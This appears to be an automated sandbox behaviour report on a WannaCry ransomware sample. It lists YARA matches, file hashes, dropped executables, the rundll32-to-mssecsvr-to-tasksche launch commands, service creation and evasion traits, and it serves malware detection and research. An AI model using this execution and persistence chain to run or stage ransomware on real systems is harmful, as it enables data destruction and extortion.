Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A

Source: C:\Windows\tasksche.exe

File deleted: C:\Windows\__tmp_rar_sfx_access_check_4317375

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\WINDOWS\mssecsvr.exe

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 8_2_00402F2C	8_2_00402F2C
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041B0D9	8_2_0041B0D9
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041B8B9	8_2_0041B8B9
Source: C:\Windows\tasksche.exe	Code function: 8_2_00414946	8_2_00414946
Source: C:\Windows\tasksche.exe	Code function: 8_2_00410178	8_2_00410178
Source: C:\Windows\tasksche.exe	Code function: 8_2_00404986	8_2_00404986
Source: C:\Windows\tasksche.exe	Code function: 8_2_0042727C	8_2_0042727C
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040CB23	8_2_0040CB23
Source: C:\Windows\tasksche.exe	Code function: 8_2_004283FC	8_2_004283FC
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041AC04	8_2_0041AC04
Source: C:\Windows\tasksche.exe	Code function: 8_2_00416C3F	8_2_00416C3F
Source: C:\Windows\tasksche.exe	Code function: 8_2_00401CC1	8_2_00401CC1
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041F4D4	8_2_0041F4D4
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041BCD9	8_2_0041BCD9
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040C4FF	8_2_0040C4FF
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041B4AD	8_2_0041B4AD
Source: C:\Windows\tasksche.exe	Code function: 8_2_00417D78	8_2_00417D78
Source: C:\Windows\tasksche.exe	Code function: 8_2_00427D04	8_2_00427D04
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041450F	8_2_0041450F
Source: C:\Windows\tasksche.exe	Code function: 8_2_00415D9A	8_2_00415D9A
Source: C:\Windows\tasksche.exe	Code function: 8_2_00405610	8_2_00405610
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041462B	8_2_0041462B
Source: C:\Windows\tasksche.exe	Code function: 8_2_00413EE3	8_2_00413EE3
Source: C:\Windows\tasksche.exe	Code function: 8_2_004106F4	8_2_004106F4
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040C756	8_2_0040C756
Source: C:\Windows\tasksche.exe	Code function: 8_2_004277C0	8_2_004277C0
Source: C:\Windows\tasksche.exe	Code function: 9_2_00402F2C	9_2_00402F2C
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B0D9	9_2_0041B0D9
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B8B9	9_2_0041B8B9
Source: C:\Windows\tasksche.exe	Code function: 9_2_00414946	9_2_00414946
Source: C:\Windows\tasksche.exe	Code function: 9_2_00410178	9_2_00410178
Source: C:\Windows\tasksche.exe	Code function: 9_2_00404986	9_2_00404986
Source: C:\Windows\tasksche.exe	Code function: 9_2_00429241	9_2_00429241
Source: C:\Windows\tasksche.exe	Code function: 9_2_0042727C	9_2_0042727C
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040CB23	9_2_0040CB23
Source: C:\Windows\tasksche.exe	Code function: 9_2_004283FC	9_2_004283FC
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041AC04	9_2_0041AC04
Source: C:\Windows\tasksche.exe	Code function: 9_2_00416C3F	9_2_00416C3F
Source: C:\Windows\tasksche.exe	Code function: 9_2_00401CC1	9_2_00401CC1
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041F4D4	9_2_0041F4D4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041BCD9	9_2_0041BCD9
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040C4FF	9_2_0040C4FF
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B4AD	9_2_0041B4AD
Source: C:\Windows\tasksche.exe	Code function: 9_2_00417D78	9_2_00417D78
Source: C:\Windows\tasksche.exe	Code function: 9_2_00427D04	9_2_00427D04
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041450F	9_2_0041450F
Source: C:\Windows\tasksche.exe	Code function: 9_2_00415D9A	9_2_00415D9A
Source: C:\Windows\tasksche.exe	Code function: 9_2_00405610	9_2_00405610
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041462B	9_2_0041462B
Source: C:\Windows\tasksche.exe	Code function: 9_2_00413EE3	9_2_00413EE3
Source: C:\Windows\tasksche.exe	Code function: 9_2_004106F4	9_2_004106F4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040C756	9_2_0040C756
Source: C:\Windows\tasksche.exe	Code function: 9_2_004277C0	9_2_004277C0

Source: C:\Windows\tasksche.exe	Code function: String function: 0041EEC9 appears 40 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041AAF0 appears 98 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041A4DC appears 74 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041FA9C appears 75 times

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040690A: __EH_prolog,_wcslen,_wcscpy,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,_wcscpy,_wcscpy,_wcscpy,_wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

9_2_0040690A

Source: mssecsvr.exe.2.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Source: mssecsvr.exe.2.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive

Source: eee.exe.8.dr

Static PE information: No import functions for PE file found

Source: tasksche.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tasksche.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Joe Sandbox View	Dropped File: C:\WINDOWS\qeriuwjhrf (copy) EA2AD4D3BB98673B88E18EEA1BF06C371C206B64246A9193B2A64BA4FE4F4900
Source: Joe Sandbox View	Dropped File: C:\Windows\eee.exe 92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8

Source: 48O5lgRp91.dll	Metadefender: Detection: 80%
Source: 48O5lgRp91.dll	ReversingLabs: Detection: 90%

Source: 48O5lgRp91.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\48O5lgRp91.dll,PlayGame
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",PlayGame
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: unknown	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe -m security
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\48O5lgRp91.dll,PlayGame	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",PlayGame	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior

Source: C:\Windows\mssecsvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\tasksche.exe

Code function: 9_2_00406553 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,

9_2_00406553

Source: C:\Windows\tasksche.exe

File created: C:\Users\user\New folder

Jump to behavior

Source: classification engine

Classification label: mal100.rans.expl.evad.winDLL@25/4@3/100

Source: C:\Windows\tasksche.exe

Code function: 9_2_00419BB0 CoCreateInstance,

9_2_00419BB0

Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		4_2_00407C40
Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		7_2_00407C40

Source: C:\Windows\tasksche.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Windows\mssecsvr.exe	Code function: 4_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		4_2_00408090
Source: C:\Windows\mssecsvr.exe	Code function: 7_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		7_2_00408090

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\48O5lgRp91.dll,PlayGame

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407CE0 InternetCloseHandle,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,FindResourceA,LoadResource,LockResource,SizeofResource,sprintf,sprintf,sprintf,MoveFileExA,CreateFileA,WriteFile,FindCloseChangeNotification,CreateProcessA,CloseHandle,CloseHandle,

4_2_00407CE0

Source: C:\Windows\tasksche.exe	Command line argument: @CB	8_2_00424290
Source: C:\Windows\tasksche.exe	Command line argument: sfxname	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: sfxstime	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: STARTDLG	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: @CB	9_2_00424290

Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK

Source: C:\Windows\tasksche.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 48O5lgRp91.dll

Static file information: File size 5267459 > 1048576

Source: 48O5lgRp91.dll

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000

Source:

Source: C:\Windows\tasksche.exe	Code function: 8_2_0041FAE1 push ecx; ret	8_2_0041FAF4
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041A4DC push eax; ret	8_2_0041A4FA
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041FAE1 push ecx; ret	9_2_0041FAF4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041A4DC push eax; ret	9_2_0041A4FA

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_0040CEB6

Source: C:\Windows\tasksche.exe

File created: C:\Windows\__tmp_rar_sfx_access_check_4317375

Jump to behavior

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\mssecsvr.exe	Executable created and started: C:\WINDOWS\tasksche.exe			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Executable created and started: C:\WINDOWS\mssecsvr.exe			Jump to behavior

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe	File created: C:\WINDOWS\qeriuwjhrf (copy)	Jump to dropped file
Source: C:\Windows\tasksche.exe	File created: C:\Windows\eee.exe	Jump to dropped file
Source: C:\Windows\mssecsvr.exe	File created: C:\Windows\tasksche.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\mssecsvr.exe	Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Code function: 4_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

4_2_00407C40

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\tasksche.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\mssecsvr.exe TID: 5268	Thread sleep count: 1133 > 30	Jump to behavior
Source: C:\Windows\mssecsvr.exe TID: 5268	Thread sleep time: -113300s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 16784	Thread sleep time: -150000s >= -30000s

Source: C:\Windows\mssecsvr.exe

Last function: Thread delayed

Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Windows\tasksche.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Windows\tasksche.exe

Dropped PE file which has not been started: C:\Windows\eee.exe

Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Window / User API: threadDelayed 1133

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 8_2_00409476 FindFirstFileW,	8_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	9_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	9_2_0040DE5E

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Windows\tasksche.exe

API call chain: ExitProcess graph end node

